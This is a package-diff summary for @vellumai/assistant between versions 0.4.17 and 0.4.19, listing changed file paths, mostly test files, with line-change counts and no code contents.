@vellumai/assistant 0.4.17 → 0.4.19
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/docs/runbook-trusted-contacts.md +5 -3
- package/eslint.config.mjs +2 -2
- package/package.json +1 -1
- package/src/__tests__/access-request-decision.test.ts +128 -120
- package/src/__tests__/account-registry.test.ts +121 -110
- package/src/__tests__/active-skill-tools.test.ts +200 -172
- package/src/__tests__/actor-token-service.test.ts +341 -274
- package/src/__tests__/agent-loop-thinking.test.ts +28 -19
- package/src/__tests__/agent-loop.test.ts +798 -378
- package/src/__tests__/anthropic-provider.test.ts +405 -247
- package/src/__tests__/app-builder-tool-scripts.test.ts +97 -97
- package/src/__tests__/app-bundler.test.ts +112 -79
- package/src/__tests__/app-executors.test.ts +205 -178
- package/src/__tests__/app-git-history.test.ts +90 -73
- package/src/__tests__/app-git-service.test.ts +67 -53
- package/src/__tests__/app-open-proxy.test.ts +29 -25
- package/src/__tests__/approval-conversation-turn.test.ts +100 -81
- package/src/__tests__/approval-hardcoded-copy-guard.test.ts +45 -17
- package/src/__tests__/approval-message-composer.test.ts +119 -119
- package/src/__tests__/approval-primitive.test.ts +264 -233
- package/src/__tests__/approval-routes-http.test.ts +4 -3
- package/src/__tests__/asset-materialize-tool.test.ts +250 -178
- package/src/__tests__/asset-search-tool.test.ts +251 -191
- package/src/__tests__/assistant-attachment-directive.test.ts +187 -142
- package/src/__tests__/assistant-attachments.test.ts +254 -186
- package/src/__tests__/assistant-event-hub.test.ts +105 -63
- package/src/__tests__/assistant-event.test.ts +66 -58
- package/src/__tests__/assistant-events-sse-hardening.test.ts +113 -73
- package/src/__tests__/assistant-feature-flag-guard.test.ts +78 -52
- package/src/__tests__/assistant-feature-flag-guardrails.test.ts +48 -45
- package/src/__tests__/assistant-feature-flags-integration.test.ts +118 -77
- package/src/__tests__/assistant-id-boundary-guard.test.ts +158 -104
- package/src/__tests__/attachments-store.test.ts +240 -183
- package/src/__tests__/attachments.test.ts +70 -62
- package/src/__tests__/audit-log-rotation.test.ts +50 -35
- package/src/__tests__/browser-fill-credential.test.ts +169 -101
- package/src/__tests__/browser-manager.test.ts +97 -75
- package/src/__tests__/browser-runtime-check.test.ts +16 -15
- package/src/__tests__/browser-skill-baseline-tool-payload.test.ts +12 -10
- package/src/__tests__/browser-skill-endstate.test.ts +97 -72
- package/src/__tests__/bundle-scanner.test.ts +47 -22
- package/src/__tests__/bundled-asset.test.ts +74 -47
- package/src/__tests__/call-constants.test.ts +19 -19
- package/src/__tests__/call-controller.test.ts +0 -1
- package/src/__tests__/call-conversation-messages.test.ts +90 -65
- package/src/__tests__/call-domain.test.ts +149 -121
- package/src/__tests__/call-pointer-message-composer.test.ts +113 -83
- package/src/__tests__/call-pointer-messages.test.ts +213 -154
- package/src/__tests__/call-pointer-no-hardcoded-copy.guard.test.ts +9 -10
- package/src/__tests__/call-recovery.test.ts +232 -212
- package/src/__tests__/call-routes-http.test.ts +0 -1
- package/src/__tests__/call-start-guardian-guard.test.ts +32 -30
- package/src/__tests__/call-state-machine.test.ts +62 -51
- package/src/__tests__/call-state.test.ts +89 -75
- package/src/__tests__/call-store.test.ts +387 -316
- package/src/__tests__/callback-handoff-copy.test.ts +84 -82
- package/src/__tests__/canonical-guardian-store.test.ts +331 -280
- package/src/__tests__/channel-approval-routes.test.ts +1643 -1115
- package/src/__tests__/channel-approval.test.ts +139 -137
- package/src/__tests__/channel-approvals.test.ts +7 -2
- package/src/__tests__/channel-delivery-store.test.ts +232 -194
- package/src/__tests__/channel-guardian.test.ts +5 -3
- package/src/__tests__/channel-invite-transport.test.ts +107 -92
- package/src/__tests__/channel-policy.test.ts +42 -38
- package/src/__tests__/channel-readiness-service.test.ts +119 -102
- package/src/__tests__/channel-reply-delivery.test.ts +147 -118
- package/src/__tests__/channel-retry-sweep.test.ts +153 -110
- package/src/__tests__/checker.test.ts +3309 -1850
- package/src/__tests__/clarification-resolver.test.ts +91 -79
- package/src/__tests__/classifier.test.ts +64 -54
- package/src/__tests__/claude-code-skill-regression.test.ts +42 -37
- package/src/__tests__/claude-code-tool-profiles.test.ts +31 -29
- package/src/__tests__/clawhub.test.ts +92 -82
- package/src/__tests__/cli.test.ts +30 -30
- package/src/__tests__/clipboard.test.ts +53 -46
- package/src/__tests__/commit-guarantee.test.ts +59 -52
- package/src/__tests__/commit-message-enrichment-service.test.ts +203 -75
- package/src/__tests__/compaction.benchmark.test.ts +33 -31
- package/src/__tests__/computer-use-session-compaction.test.ts +60 -50
- package/src/__tests__/computer-use-session-lifecycle.test.ts +145 -117
- package/src/__tests__/computer-use-session-working-dir.test.ts +62 -48
- package/src/__tests__/computer-use-skill-baseline.test.ts +22 -19
- package/src/__tests__/computer-use-skill-endstate.test.ts +45 -31
- package/src/__tests__/computer-use-skill-lifecycle-cleanup.test.ts +121 -88
- package/src/__tests__/computer-use-skill-manifest-regression.test.ts +65 -42
- package/src/__tests__/computer-use-skill-proxy-bridge.test.ts +33 -18
- package/src/__tests__/computer-use-tools.test.ts +121 -98
- package/src/__tests__/config-schema.test.ts +443 -347
- package/src/__tests__/config-watcher.test.ts +96 -81
- package/src/__tests__/confirmation-request-guardian-bridge.test.ts +148 -133
- package/src/__tests__/conflict-intent-tokenization.test.ts +96 -78
- package/src/__tests__/conflict-policy.test.ts +151 -80
- package/src/__tests__/conflict-store.test.ts +203 -157
- package/src/__tests__/connection-policy.test.ts +89 -59
- package/src/__tests__/contacts-tools.test.ts +247 -178
- package/src/__tests__/context-memory-e2e.test.ts +306 -214
- package/src/__tests__/context-token-estimator.test.ts +114 -74
- package/src/__tests__/context-window-manager.test.ts +269 -167
- package/src/__tests__/contradiction-checker.test.ts +161 -135
- package/src/__tests__/conversation-attention-store.test.ts +350 -290
- package/src/__tests__/conversation-attention-telegram.test.ts +0 -1
- package/src/__tests__/conversation-pairing.test.ts +220 -113
- package/src/__tests__/conversation-routes-guardian-reply.test.ts +8 -0
- package/src/__tests__/conversation-store.test.ts +390 -235
- package/src/__tests__/credential-broker-browser-fill.test.ts +325 -250
- package/src/__tests__/credential-broker-server-use.test.ts +283 -243
- package/src/__tests__/credential-broker.test.ts +128 -74
- package/src/__tests__/credential-host-pattern-match.test.ts +64 -44
- package/src/__tests__/credential-metadata-store.test.ts +360 -311
- package/src/__tests__/credential-policy-validate.test.ts +81 -65
- package/src/__tests__/credential-resolve.test.ts +212 -145
- package/src/__tests__/credential-security-e2e.test.ts +144 -103
- package/src/__tests__/credential-security-invariants.test.ts +253 -208
- package/src/__tests__/credential-selection.test.ts +254 -146
- package/src/__tests__/credential-vault-unit.test.ts +531 -341
- package/src/__tests__/credential-vault.test.ts +761 -484
- package/src/__tests__/daemon-assistant-events.test.ts +91 -66
- package/src/__tests__/daemon-lifecycle.test.ts +258 -190
- package/src/__tests__/daemon-server-session-init.test.ts +2 -1
- package/src/__tests__/date-context.test.ts +314 -249
- package/src/__tests__/db-migration-rollback.test.ts +259 -130
- package/src/__tests__/db-schedule-syntax-migration.test.ts +78 -41
- package/src/__tests__/delete-managed-skill-tool.test.ts +77 -53
- package/src/__tests__/deterministic-verification-control-plane.test.ts +0 -1
- package/src/__tests__/dictation-mode-detection.test.ts +77 -55
- package/src/__tests__/dictation-profile-store.test.ts +70 -56
- package/src/__tests__/dictation-text-processing.test.ts +53 -35
- package/src/__tests__/diff.test.ts +102 -98
- package/src/__tests__/domain-normalize.test.ts +54 -54
- package/src/__tests__/domain-policy.test.ts +71 -55
- package/src/__tests__/dynamic-page-surface.test.ts +31 -33
- package/src/__tests__/dynamic-skill-workflow-prompt.test.ts +69 -69
- package/src/__tests__/edit-engine.test.ts +56 -56
- package/src/__tests__/elevenlabs-client.test.ts +117 -91
- package/src/__tests__/elevenlabs-config.test.ts +32 -31
- package/src/__tests__/email-classifier.test.ts +15 -12
- package/src/__tests__/email-cli.test.ts +121 -108
- package/src/__tests__/emit-signal-routing-intent.test.ts +76 -69
- package/src/__tests__/encrypted-store.test.ts +180 -154
- package/src/__tests__/entity-extractor.test.ts +108 -87
- package/src/__tests__/entity-search.test.ts +664 -258
- package/src/__tests__/ephemeral-permissions.test.ts +224 -188
- package/src/__tests__/event-bus.test.ts +81 -77
- package/src/__tests__/extract-email.test.ts +29 -20
- package/src/__tests__/file-edit-tool.test.ts +62 -44
- package/src/__tests__/file-ops-service.test.ts +131 -114
- package/src/__tests__/file-read-tool.test.ts +48 -31
- package/src/__tests__/file-write-tool.test.ts +43 -37
- package/src/__tests__/filesystem-tools.test.ts +238 -209
- package/src/__tests__/followup-tools.test.ts +237 -162
- package/src/__tests__/forbidden-legacy-symbols.test.ts +19 -20
- package/src/__tests__/frontmatter.test.ts +96 -81
- package/src/__tests__/fuzzy-match-property.test.ts +75 -81
- package/src/__tests__/fuzzy-match.test.ts +71 -65
- package/src/__tests__/gateway-client-managed-outbound.test.ts +76 -57
- package/src/__tests__/gateway-only-enforcement.test.ts +0 -1
- package/src/__tests__/gateway-only-guard.test.ts +0 -1
- package/src/__tests__/gemini-image-service.test.ts +113 -100
- package/src/__tests__/gemini-provider.test.ts +297 -220
- package/src/__tests__/get-weather.test.ts +188 -114
- package/src/__tests__/gmail-integration.test.ts +13 -5
- package/src/__tests__/guardian-action-conversation-turn.test.ts +226 -171
- package/src/__tests__/guardian-action-copy-generator.test.ts +111 -93
- package/src/__tests__/guardian-action-followup-executor.test.ts +0 -1
- package/src/__tests__/guardian-action-followup-store.test.ts +199 -167
- package/src/__tests__/guardian-action-grant-mint-consume.test.ts +297 -250
- package/src/__tests__/guardian-action-late-reply.test.ts +462 -316
- package/src/__tests__/guardian-action-no-hardcoded-copy.test.ts +23 -18
- package/src/__tests__/guardian-action-store.test.ts +158 -109
- package/src/__tests__/guardian-action-sweep.test.ts +114 -100
- package/src/__tests__/guardian-actions-endpoint.test.ts +440 -256
- package/src/__tests__/guardian-control-plane-policy.test.ts +497 -331
- package/src/__tests__/guardian-decision-primitive-canonical.test.ts +217 -215
- package/src/__tests__/guardian-dispatch.test.ts +316 -256
- package/src/__tests__/guardian-grant-minting.test.ts +247 -178
- package/src/__tests__/guardian-outbound-http.test.ts +5 -3
- package/src/__tests__/guardian-principal-id-roundtrip.test.ts +99 -96
- package/src/__tests__/guardian-question-copy.test.ts +17 -17
- package/src/__tests__/guardian-question-mode.test.ts +134 -100
- package/src/__tests__/guardian-routing-invariants.test.ts +0 -1
- package/src/__tests__/guardian-routing-state.test.ts +0 -1
- package/src/__tests__/guardian-verification-intent-routing.test.ts +94 -88
- package/src/__tests__/guardian-verification-voice-binding.test.ts +0 -1
- package/src/__tests__/guardian-verify-setup-skill-regression.test.ts +0 -1
- package/src/__tests__/handle-user-message-secret-resume.test.ts +7 -2
- package/src/__tests__/handlers-add-trust-rule-metadata.test.ts +92 -76
- package/src/__tests__/handlers-cu-observation-blob.test.ts +103 -70
- package/src/__tests__/handlers-ipc-blob-probe.test.ts +77 -51
- package/src/__tests__/handlers-slack-config.test.ts +63 -54
- package/src/__tests__/handlers-task-submit-slash.test.ts +18 -18
- package/src/__tests__/handlers-telegram-config.test.ts +662 -329
- package/src/__tests__/handlers-twitter-config.test.ts +525 -298
- package/src/__tests__/handlers-user-message-approval-consumption.test.ts +5 -2
- package/src/__tests__/headless-browser-interactions.test.ts +444 -280
- package/src/__tests__/headless-browser-navigate.test.ts +116 -79
- package/src/__tests__/headless-browser-read-tools.test.ts +123 -86
- package/src/__tests__/headless-browser-snapshot.test.ts +71 -56
- package/src/__tests__/heartbeat-service.test.ts +76 -58
- package/src/__tests__/history-repair-observability.test.ts +14 -14
- package/src/__tests__/history-repair.test.ts +171 -167
- package/src/__tests__/home-base-bootstrap.test.ts +30 -27
- package/src/__tests__/hooks-blocking.test.ts +86 -37
- package/src/__tests__/hooks-cli.test.ts +104 -68
- package/src/__tests__/hooks-config.test.ts +81 -43
- package/src/__tests__/hooks-discovery.test.ts +106 -96
- package/src/__tests__/hooks-integration.test.ts +78 -72
- package/src/__tests__/hooks-manager.test.ts +99 -61
- package/src/__tests__/hooks-runner.test.ts +94 -71
- package/src/__tests__/hooks-settings.test.ts +69 -64
- package/src/__tests__/hooks-templates.test.ts +85 -54
- package/src/__tests__/hooks-ts-runner.test.ts +82 -45
- package/src/__tests__/hooks-watch.test.ts +32 -22
- package/src/__tests__/host-file-edit-tool.test.ts +190 -148
- package/src/__tests__/host-file-read-tool.test.ts +86 -63
- package/src/__tests__/host-file-write-tool.test.ts +98 -64
- package/src/__tests__/host-shell-tool.test.ts +342 -233
- package/src/__tests__/inbound-invite-redemption.test.ts +0 -1
- package/src/__tests__/ingress-member-store.test.ts +163 -159
- package/src/__tests__/ingress-reconcile.test.ts +13 -6
- package/src/__tests__/ingress-routes-http.test.ts +441 -356
- package/src/__tests__/ingress-url-consistency.test.ts +125 -64
- package/src/__tests__/integration-status.test.ts +93 -73
- package/src/__tests__/intent-routing.test.ts +148 -118
- package/src/__tests__/invite-redemption-service.test.ts +163 -121
- package/src/__tests__/ipc-blob-store.test.ts +104 -91
- package/src/__tests__/ipc-contract-inventory.test.ts +27 -15
- package/src/__tests__/ipc-contract.test.ts +24 -23
- package/src/__tests__/ipc-protocol.test.ts +52 -46
- package/src/__tests__/ipc-roundtrip.benchmark.test.ts +61 -50
- package/src/__tests__/ipc-snapshot.test.ts +1135 -1056
- package/src/__tests__/ipc-validate.test.ts +240 -179
- package/src/__tests__/key-migration.test.ts +123 -90
- package/src/__tests__/keychain.test.ts +150 -123
- package/src/__tests__/lifecycle-docs-guard.test.ts +65 -64
- package/src/__tests__/llm-usage-store.test.ts +112 -87
- package/src/__tests__/managed-skill-lifecycle.test.ts +147 -108
- package/src/__tests__/managed-store.test.ts +411 -360
- package/src/__tests__/mcp-cli.test.ts +190 -124
- package/src/__tests__/mcp-health-check.test.ts +26 -21
- package/src/__tests__/media-generate-image.test.ts +122 -99
- package/src/__tests__/media-reuse-story.e2e.test.ts +282 -214
- package/src/__tests__/media-visibility-policy.test.ts +86 -38
- package/src/__tests__/memory-context-benchmark.benchmark.test.ts +146 -100
- package/src/__tests__/memory-lifecycle-e2e.test.ts +385 -297
- package/src/__tests__/memory-query-builder.test.ts +32 -33
- package/src/__tests__/memory-recall-quality.test.ts +761 -407
- package/src/__tests__/memory-regressions.experimental.test.ts +443 -380
- package/src/__tests__/memory-regressions.test.ts +3725 -2642
- package/src/__tests__/memory-retrieval-budget.test.ts +7 -8
- package/src/__tests__/memory-retrieval.benchmark.test.ts +144 -109
- package/src/__tests__/memory-upsert-concurrency.test.ts +292 -201
- package/src/__tests__/messaging-send-tool.test.ts +36 -29
- package/src/__tests__/migration-cli-flows.test.ts +69 -53
- package/src/__tests__/migration-ordering.test.ts +103 -86
- package/src/__tests__/mime-builder.test.ts +55 -32
- package/src/__tests__/mock-signup-server.test.ts +384 -246
- package/src/__tests__/model-intents.test.ts +61 -37
- package/src/__tests__/no-direct-anthropic-sdk-imports.test.ts +9 -12
- package/src/__tests__/no-is-trusted-guard.test.ts +24 -21
- package/src/__tests__/non-member-access-request.test.ts +3 -2
- package/src/__tests__/notification-broadcaster.test.ts +99 -81
- package/src/__tests__/notification-decision-fallback.test.ts +223 -178
- package/src/__tests__/notification-decision-strategy.test.ts +375 -337
- package/src/__tests__/notification-deep-link.test.ts +67 -61
- package/src/__tests__/notification-guardian-path.test.ts +248 -206
- package/src/__tests__/notification-routing-intent.test.ts +166 -93
- package/src/__tests__/notification-thread-candidate-validation.test.ts +78 -75
- package/src/__tests__/notification-thread-candidates.test.ts +64 -61
- package/src/__tests__/oauth-callback-registry.test.ts +40 -30
- package/src/__tests__/oauth-connect-handler.test.ts +109 -89
- package/src/__tests__/oauth-scope-policy.test.ts +63 -55
- package/src/__tests__/oauth2-gateway-transport.test.ts +252 -174
- package/src/__tests__/onboarding-starter-tasks.test.ts +93 -89
- package/src/__tests__/onboarding-template-contract.test.ts +93 -94
- package/src/__tests__/openai-provider.test.ts +366 -274
- package/src/__tests__/pairing-concurrent.test.ts +18 -12
- package/src/__tests__/pairing-routes.test.ts +45 -41
- package/src/__tests__/parallel-tool.benchmark.test.ts +108 -58
- package/src/__tests__/parser.test.ts +316 -226
- package/src/__tests__/path-classifier.test.ts +24 -25
- package/src/__tests__/path-policy.test.ts +187 -147
- package/src/__tests__/phone.test.ts +36 -36
- package/src/__tests__/platform-move-helper.test.ts +48 -40
- package/src/__tests__/platform-socket-path.test.ts +23 -24
- package/src/__tests__/platform-workspace-migration.test.ts +464 -414
- package/src/__tests__/platform.test.ts +61 -53
- package/src/__tests__/playbook-execution.test.ts +397 -265
- package/src/__tests__/playbook-tools.test.ts +267 -196
- package/src/__tests__/prebuilt-home-base-seed.test.ts +30 -27
- package/src/__tests__/pricing.test.ts +316 -136
- package/src/__tests__/profile-compiler.test.ts +206 -188
- package/src/__tests__/provider-commit-message-generator.test.ts +114 -106
- package/src/__tests__/provider-error-scenarios.test.ts +212 -158
- package/src/__tests__/provider-fail-open-selection.test.ts +51 -44
- package/src/__tests__/provider-registry-ollama.test.ts +13 -9
- package/src/__tests__/provider-streaming.benchmark.test.ts +232 -183
- package/src/__tests__/proxy-approval-callback.test.ts +180 -119
- package/src/__tests__/public-ingress-urls.test.ts +112 -94
- package/src/__tests__/qdrant-manager.test.ts +147 -98
- package/src/__tests__/ratelimit.test.ts +152 -82
- package/src/__tests__/recording-handler.test.ts +273 -151
- package/src/__tests__/recording-intent-fallback.test.ts +94 -75
- package/src/__tests__/recording-intent-handler.test.ts +9 -2
- package/src/__tests__/recording-intent.test.ts +578 -379
- package/src/__tests__/recording-state-machine.test.ts +530 -316
- package/src/__tests__/recurrence-engine-rruleset.test.ts +150 -92
- package/src/__tests__/recurrence-engine.test.ts +81 -41
- package/src/__tests__/recurrence-types.test.ts +63 -44
- package/src/__tests__/relay-server.test.ts +2131 -1602
- package/src/__tests__/reminder-store.test.ts +158 -80
- package/src/__tests__/reminder.test.ts +113 -109
- package/src/__tests__/remote-skill-policy.test.ts +96 -72
- package/src/__tests__/request-file-tool.test.ts +74 -67
- package/src/__tests__/response-tier.test.ts +131 -74
- package/src/__tests__/runtime-attachment-metadata.test.ts +0 -1
- package/src/__tests__/runtime-events-sse-parity.test.ts +167 -145
- package/src/__tests__/runtime-events-sse.test.ts +0 -1
- package/src/__tests__/sandbox-diagnostics.test.ts +66 -56
- package/src/__tests__/sandbox-host-parity.test.ts +377 -301
- package/src/__tests__/scaffold-managed-skill-tool.test.ts +213 -161
- package/src/__tests__/schedule-store.test.ts +268 -205
- package/src/__tests__/schedule-tools.test.ts +702 -524
- package/src/__tests__/scheduler-recurrence.test.ts +240 -130
- package/src/__tests__/scoped-approval-grants.test.ts +258 -168
- package/src/__tests__/scoped-grant-security-matrix.test.ts +160 -146
- package/src/__tests__/script-proxy-certs.test.ts +38 -35
- package/src/__tests__/script-proxy-connect-tunnel.test.ts +71 -46
- package/src/__tests__/script-proxy-decision-trace.test.ts +161 -84
- package/src/__tests__/script-proxy-http-forwarder.test.ts +146 -129
- package/src/__tests__/script-proxy-injection-runtime.test.ts +139 -113
- package/src/__tests__/script-proxy-mitm-handler.test.ts +226 -142
- package/src/__tests__/script-proxy-policy-runtime.test.ts +126 -86
- package/src/__tests__/script-proxy-policy.test.ts +308 -153
- package/src/__tests__/script-proxy-rewrite-specificity.test.ts +74 -62
- package/src/__tests__/script-proxy-router.test.ts +111 -77
- package/src/__tests__/script-proxy-session-manager.test.ts +156 -113
- package/src/__tests__/script-proxy-session-runtime.test.ts +28 -24
- package/src/__tests__/secret-allowlist.test.ts +105 -90
- package/src/__tests__/secret-ingress-handler.test.ts +41 -30
- package/src/__tests__/secret-onetime-send.test.ts +67 -50
- package/src/__tests__/secret-prompt-log-hygiene.test.ts +35 -31
- package/src/__tests__/secret-response-routing.test.ts +50 -41
- package/src/__tests__/secret-scanner-executor.test.ts +152 -111
- package/src/__tests__/secret-scanner.test.ts +495 -413
- package/src/__tests__/secure-keys.test.ts +132 -121
- package/src/__tests__/send-endpoint-busy.test.ts +8 -3
- package/src/__tests__/send-notification-tool.test.ts +43 -42
- package/src/__tests__/sensitive-output-placeholders.test.ts +72 -64
- package/src/__tests__/sequence-store.test.ts +335 -167
- package/src/__tests__/server-history-render.test.ts +341 -202
- package/src/__tests__/session-abort-tool-results.test.ts +133 -70
- package/src/__tests__/session-confirmation-signals.test.ts +252 -160
- package/src/__tests__/session-conflict-gate.test.ts +775 -585
- package/src/__tests__/session-error.test.ts +222 -191
- package/src/__tests__/session-evictor.test.ts +79 -62
- package/src/__tests__/session-init.benchmark.test.ts +170 -108
- package/src/__tests__/session-load-history-repair.test.ts +273 -139
- package/src/__tests__/session-messaging-secret-redirect.test.ts +130 -90
- package/src/__tests__/session-pre-run-repair.test.ts +106 -59
- package/src/__tests__/session-profile-injection.test.ts +198 -130
- package/src/__tests__/session-provider-retry-repair.test.ts +223 -141
- package/src/__tests__/session-queue.test.ts +624 -321
- package/src/__tests__/session-runtime-assembly.test.ts +425 -329
- package/src/__tests__/session-runtime-workspace.test.ts +69 -61
- package/src/__tests__/session-skill-tools.test.ts +973 -678
- package/src/__tests__/session-slash-known.test.ts +185 -133
- package/src/__tests__/session-slash-queue.test.ts +147 -81
- package/src/__tests__/session-slash-unknown.test.ts +135 -90
- package/src/__tests__/session-surfaces-task-progress.test.ts +122 -87
- package/src/__tests__/session-tool-setup-app-refresh.test.ts +338 -177
- package/src/__tests__/session-tool-setup-memory-scope.test.ts +63 -40
- package/src/__tests__/session-tool-setup-side-effect-flag.test.ts +60 -37
- package/src/__tests__/session-tool-setup-tools-disabled.test.ts +28 -26
- package/src/__tests__/session-undo.test.ts +43 -30
- package/src/__tests__/session-workspace-cache-state.test.ts +108 -67
- package/src/__tests__/session-workspace-injection.test.ts +245 -117
- package/src/__tests__/session-workspace-tool-tracking.test.ts +260 -93
- package/src/__tests__/shared-filesystem-errors.test.ts +47 -47
- package/src/__tests__/shell-credential-ref.test.ts +126 -90
- package/src/__tests__/shell-identity.test.ts +134 -111
- package/src/__tests__/shell-parser-fuzz.test.ts +263 -179
- package/src/__tests__/shell-parser-property.test.ts +435 -288
- package/src/__tests__/shell-tool-proxy-mode.test.ts +142 -70
- package/src/__tests__/size-guard.test.ts +42 -44
- package/src/__tests__/skill-feature-flags-integration.test.ts +79 -52
- package/src/__tests__/skill-feature-flags.test.ts +75 -47
- package/src/__tests__/skill-include-graph.test.ts +143 -148
- package/src/__tests__/skill-load-feature-flag.test.ts +94 -59
- package/src/__tests__/skill-load-tool.test.ts +371 -199
- package/src/__tests__/skill-projection-feature-flag.test.ts +131 -88
- package/src/__tests__/skill-projection.benchmark.test.ts +93 -65
- package/src/__tests__/skill-script-runner-host.test.ts +460 -250
- package/src/__tests__/skill-script-runner-sandbox.test.ts +168 -108
- package/src/__tests__/skill-script-runner.test.ts +115 -74
- package/src/__tests__/skill-tool-factory.test.ts +140 -96
- package/src/__tests__/skill-tool-manifest.test.ts +306 -210
- package/src/__tests__/skill-version-hash.test.ts +70 -56
- package/src/__tests__/skills.test.ts +0 -1
- package/src/__tests__/slack-channel-config.test.ts +127 -84
- package/src/__tests__/slack-skill.test.ts +60 -47
- package/src/__tests__/slash-commands-catalog.test.ts +37 -31
- package/src/__tests__/slash-commands-parser.test.ts +71 -64
- package/src/__tests__/slash-commands-resolver.test.ts +143 -107
- package/src/__tests__/slash-commands-rewrite.test.ts +22 -22
- package/src/__tests__/sms-messaging-provider.test.ts +4 -0
- package/src/__tests__/speaker-identification.test.ts +28 -25
- package/src/__tests__/starter-bundle.test.ts +27 -23
- package/src/__tests__/starter-task-flow.test.ts +67 -52
- package/src/__tests__/subagent-manager-notify.test.ts +154 -108
- package/src/__tests__/subagent-tools.test.ts +311 -270
- package/src/__tests__/subagent-types.test.ts +40 -40
- package/src/__tests__/surface-mutex-cleanup.test.ts +42 -30
- package/src/__tests__/swarm-dag-pathological.test.ts +122 -111
- package/src/__tests__/swarm-orchestrator.test.ts +135 -101
- package/src/__tests__/swarm-plan-validator.test.ts +125 -73
- package/src/__tests__/swarm-recursion.test.ts +58 -46
- package/src/__tests__/swarm-router-planner.test.ts +99 -74
- package/src/__tests__/swarm-session-integration.test.ts +148 -91
- package/src/__tests__/swarm-tool.test.ts +65 -45
- package/src/__tests__/swarm-worker-backend.test.ts +59 -45
- package/src/__tests__/swarm-worker-runner.test.ts +133 -118
- package/src/__tests__/system-prompt.test.ts +311 -256
- package/src/__tests__/task-compiler.test.ts +176 -120
- package/src/__tests__/task-management-tools.test.ts +561 -456
- package/src/__tests__/task-memory-cleanup.test.ts +627 -362
- package/src/__tests__/task-runner.test.ts +117 -94
- package/src/__tests__/task-scheduler.test.ts +113 -84
- package/src/__tests__/task-tools.test.ts +349 -264
- package/src/__tests__/terminal-sandbox.test.ts +138 -108
- package/src/__tests__/terminal-tools.test.ts +350 -305
- package/src/__tests__/thread-seed-composer.test.ts +307 -180
- package/src/__tests__/tool-approval-handler.test.ts +238 -137
- package/src/__tests__/tool-audit-listener.test.ts +69 -69
- package/src/__tests__/tool-domain-event-publisher.test.ts +142 -132
- package/src/__tests__/tool-execution-abort-cleanup.test.ts +155 -146
- package/src/__tests__/tool-execution-pipeline.benchmark.test.ts +136 -105
- package/src/__tests__/tool-executor-lifecycle-events.test.ts +355 -239
- package/src/__tests__/tool-executor-redaction.test.ts +112 -109
- package/src/__tests__/tool-executor-shell-integration.test.ts +130 -79
- package/src/__tests__/tool-executor.test.ts +1274 -674
- package/src/__tests__/tool-grant-request-escalation.test.ts +401 -283
- package/src/__tests__/tool-metrics-listener.test.ts +97 -85
- package/src/__tests__/tool-notification-listener.test.ts +42 -25
- package/src/__tests__/tool-permission-simulate-handler.test.ts +137 -113
- package/src/__tests__/tool-policy.test.ts +44 -25
- package/src/__tests__/tool-profiling-listener.test.ts +99 -93
- package/src/__tests__/tool-result-truncation.test.ts +5 -4
- package/src/__tests__/tool-trace-listener.test.ts +131 -111
- package/src/__tests__/top-level-renderer.test.ts +62 -58
- package/src/__tests__/top-level-scanner.test.ts +68 -64
- package/src/__tests__/trace-emitter.test.ts +56 -56
- package/src/__tests__/trust-context-guards.test.ts +65 -65
- package/src/__tests__/trust-store.test.ts +1239 -806
- package/src/__tests__/trusted-contact-approval-notifier.test.ts +0 -1
- package/src/__tests__/trusted-contact-inline-approval-integration.test.ts +0 -1
- package/src/__tests__/trusted-contact-lifecycle-notifications.test.ts +3 -2
- package/src/__tests__/trusted-contact-multichannel.test.ts +3 -2
- package/src/__tests__/trusted-contact-verification.test.ts +251 -231
- package/src/__tests__/turn-commit.test.ts +259 -200
- package/src/__tests__/twilio-provider.test.ts +140 -126
- package/src/__tests__/twilio-rest.test.ts +22 -18
- package/src/__tests__/twilio-routes-elevenlabs.test.ts +0 -1
- package/src/__tests__/twilio-routes-twiml.test.ts +55 -55
- package/src/__tests__/twilio-routes.test.ts +0 -1
- package/src/__tests__/twitter-auth-handler.test.ts +184 -139
- package/src/__tests__/twitter-cli-error-shaping.test.ts +88 -73
- package/src/__tests__/twitter-cli-routing.test.ts +146 -99
- package/src/__tests__/twitter-oauth-client.test.ts +82 -65
- package/src/__tests__/update-bulletin-format.test.ts +69 -66
- package/src/__tests__/update-bulletin-state.test.ts +66 -60
- package/src/__tests__/update-bulletin.test.ts +150 -114
- package/src/__tests__/update-template-contract.test.ts +15 -10
- package/src/__tests__/url-safety.test.ts +288 -265
- package/src/__tests__/user-reference.test.ts +32 -32
- package/src/__tests__/view-image-tool.test.ts +118 -96
- package/src/__tests__/voice-invite-redemption.test.ts +111 -106
- package/src/__tests__/voice-quality.test.ts +117 -102
- package/src/__tests__/voice-scoped-grant-consumer.test.ts +204 -146
- package/src/__tests__/voice-session-bridge.test.ts +351 -216
- package/src/__tests__/weather-skill-regression.test.ts +170 -120
- package/src/__tests__/web-fetch.test.ts +664 -526
- package/src/__tests__/web-search.test.ts +379 -213
- package/src/__tests__/work-item-output.test.ts +90 -53
- package/src/__tests__/workspace-git-service.test.ts +437 -356
- package/src/__tests__/workspace-heartbeat-service.test.ts +125 -91
- package/src/__tests__/workspace-lifecycle.test.ts +98 -64
- package/src/__tests__/workspace-policy.test.ts +139 -71
- package/src/cli/mcp.ts +81 -28
- package/src/commands/__tests__/cc-command-registry.test.ts +142 -134
- package/src/config/__tests__/feature-flag-registry-guard.test.ts +48 -39
- package/src/config/bundled-skills/chatgpt-import/tools/chatgpt-import.ts +25 -10
- package/src/config/bundled-skills/doordash/__tests__/doordash-session.test.ts +0 -1
- package/src/config/bundled-skills/guardian-verify-setup/SKILL.md +6 -11
- package/src/config/bundled-skills/messaging/SKILL.md +4 -3
- package/src/config/bundled-skills/messaging/tools/gmail-outreach-scan.ts +15 -5
- package/src/config/bundled-skills/messaging/tools/gmail-sender-digest.ts +16 -5
- package/src/config/bundled-skills/phone-calls/SKILL.md +1 -2
- package/src/config/bundled-skills/slack/tools/slack-scan-digest.ts +34 -32
- package/src/config/bundled-skills/sms-setup/SKILL.md +8 -16
- package/src/config/bundled-skills/telegram-setup/SKILL.md +3 -3
- package/src/config/bundled-skills/trusted-contacts/SKILL.md +13 -25
- package/src/config/bundled-skills/twilio-setup/SKILL.md +13 -23
- package/src/config/bundled-tool-registry.ts +2 -0
- package/src/config/env.ts +3 -4
- package/src/config/system-prompt.ts +32 -0
- package/src/mcp/client.ts +2 -7
- package/src/memory/db-connection.ts +16 -10
- package/src/messaging/providers/gmail/adapter.ts +10 -3
- package/src/messaging/providers/gmail/client.ts +280 -72
- package/src/runtime/auth/__tests__/context.test.ts +75 -65
